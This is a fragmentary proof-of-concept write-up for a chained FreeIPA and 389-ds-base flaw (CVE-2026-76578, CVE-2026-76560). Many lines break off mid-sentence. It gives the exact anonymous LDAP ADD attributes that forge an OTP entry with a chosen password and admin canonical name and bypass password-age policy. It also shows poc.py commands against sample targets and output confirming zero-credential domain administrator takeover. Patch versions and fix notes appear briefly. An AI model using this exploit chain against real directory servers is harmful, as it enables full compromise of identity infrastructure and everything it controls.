so anonymous ADD can include any attribute: `krbPrincipalAux`, `krbCanonicalName`,
**CVE-2026-76560 (389-ds-base)** — the SELFDN evaluator treats `""` (empty
string) as matching the anonymous bind DN, bypassing the `ipatokenOwner#SELFDN`
The critical insight — no pre-captured blob, no master key access needed:
Adding `objectClass: inetOrgPerson` + `userPassword` to the entry triggers the
**389-DS `ipapwd` plugin** which automatically generates `krbPrincipalKey`
server-side, encrypting it with the target realm's `krbMKey`. The attacker
supplies a plaintext password; the server derives the Kerberos key internally.
Setting `krbLastPwdChange: 20200101000000Z` (past date) in the same ADD bypasses
the `krbMinPwdLife` policy that would otherwise require an interactive password
| **CVE-2026-76578** | FreeIPA | OTP ACI lacks `targetattr` — any attribute passes anonymous ADD |
| **CVE-2026-76560** | 389-ds-base | SELFDN evaluator accepts `""` as anonymous bind DN |
Anonymous LDAP ADD (port 389, zero credentials)
ipatokenOwner: "" ← CVE-2026-76560: SELFDN "" == anonymous DN
objectClass: inetOrgPerson ← enables userPassword attribute
userPassword: PwnedPass1! ← CVE-2026-76578: no targetattr restriction
krbCanonicalName: admin@REALM ← not in kerberos uniqueness plugin for cn=otp
krbLastPwdChange: 20200101 ← bypass krbMinPwdLife policy
389-DS ipapwd: userPassword → krbPrincipalKey (server-side, target's krbMKey)
kinit attacker@REALM → TGT: Default principal: admin@REALM
GSSAPI bind → dn: uid=admin,cn=users,cn=accounts,…
uid=admin ∈ cn=admins → full domain administrator
| FreeIPA | 4.9.x – 4.13.3 | **4.13.4** |
| 389-ds-base (RHEL 10) | ipa-master.test.local
**`/etc/krb5.conf`** — `canonicalize = true` required for Level 3:
python3 poc.py 192.168.1.11 ipa-master.test.local TEST.LOCAL
python3 poc.py 10.10.10.5 ipa.corp.local CORP.LOCAL
── TEST 1: Anonymous ADD — server-side krbPrincipalKey generation ───
[+] ADD succeeded: ipatokenuniqueid=pwn-...,cn=otp,dc=test,dc=local
[+] Server generated krbPrincipalKey from userPassword (ipapwd plugin)
── TEST 2: GSSAPI LDAP bind ─────────────────────────────────────────
[+] GSSAPI bind succeeded: dn: ipatokenuniqueid=pwn-...,cn=otp,...
── TEST 3: krbCanonicalName=admin collision ──────────────────────────
[+] ADD with [email protected] succeeded
[+] TGT obtained — ticket claims principal: [email protected]
[+] TGT cname is admin — LEVEL 3 CONFIRMED
[+] GSSAPI bind: dn: uid=admin,cn=users,cn=accounts,dc=test,dc=local
[+] uid=admin is member of cn=admins — real admin rights confirmed
════════════════════════════════════════════════════════════
════════════════════════════════════════════════════════════
Level 1 — Server-side krbPrincipalKey + TGT [✓] CONFIRMED
Level 2 — GSSAPI LDAP / Kerberos auth [✓] CONFIRMED
Level 3 — Real admin group membership [✓] CONFIRMED
Full zero-credential compromise chain reproduced.
════════════════════════════════════════════════════════════
### Why userPassword instead of krbPrincipalKey directly
`krbPrincipalKey` is encrypted with the target's `krbMKey` (master key).
The master key is stored in LDAP at `cn=REALM,cn=kerberos` and is readable only
by Directory Manager — not anonymously, not by `uid=admin` via GSSAPI.
Injecting `krbPrincipalKey` directly is impossible without the master key.
Injecting `userPassword` delegates key generation to the server's `ipapwd`
plugin, which has internal access to `krbMKey` and performs the encryption
transparently. The ACI (CVE-2026-76578) allows `userPassword` through with no
The kerberos uniqueness plugin enforces uniqueness on `krbPrincipalName` and
`krbPrincipalAlias` across the full suffix, but **not** on `krbCanonicalName`.
A new entry in `cn=otp` with `krbCanonicalName: admin@REALM` does not conflict
With `canonicalize = true` on the client, `kinit attacker@REALM` retrieves the
entry by `krbPrincipalName`, but the KDC issues the TGT with
`cname = krbCanonicalName = admin@REALM`. GSSAPI resolves this to the real
`uid=admin` DN — already a legitimate member of `cn=admins`. No group
When `userPassword` is added, `ipapwd` sets `krbPasswordExpiration` to now
(expired) and `krbLastPwdChange` to now. With default `krbMinPwdLife = 3600s`,
`kinit` would prompt for a password change before issuing a TGT.
Setting `krbLastPwdChange: 20200101000000Z` in the original ADD overrides the
plugin value to six years in the past, satisfying the minimum lifetime check.
`krbPasswordExpiration: 20990101000000Z` prevents the expiry prompt. Both
attributes are accepted because the OTP ACI has no `targetattr` restriction.
To deploy a vulnerable FreeIPA instance on a fresh VM:
# On Fedora 44 / RHEL 9-10 VM (needs root, 4GB RAM, 20GB disk)
bash setup_lab.sh [REALM] [DOMAIN] [HOSTNAME] [PASSWORD]
bash setup_lab.sh TEST.LOCAL test.local ipa-master.test.local Secret123
dnf update 389-ds-base # → 3.2.0-10.el10_2 (RHEL 10)
FreeIPA 4.13.4 adds an explicit `targetattr` allowlist to the OTP ACI, blocking
anonymous injection of `userPassword`, `krbPrincipalAux`, `krbPrincipalKey`, and
389-ds-base 3.2.0-10.el10_2 corrects the SELFDN evaluator to reject `""` as a
Both fixes are required independently — either alone reduces but does not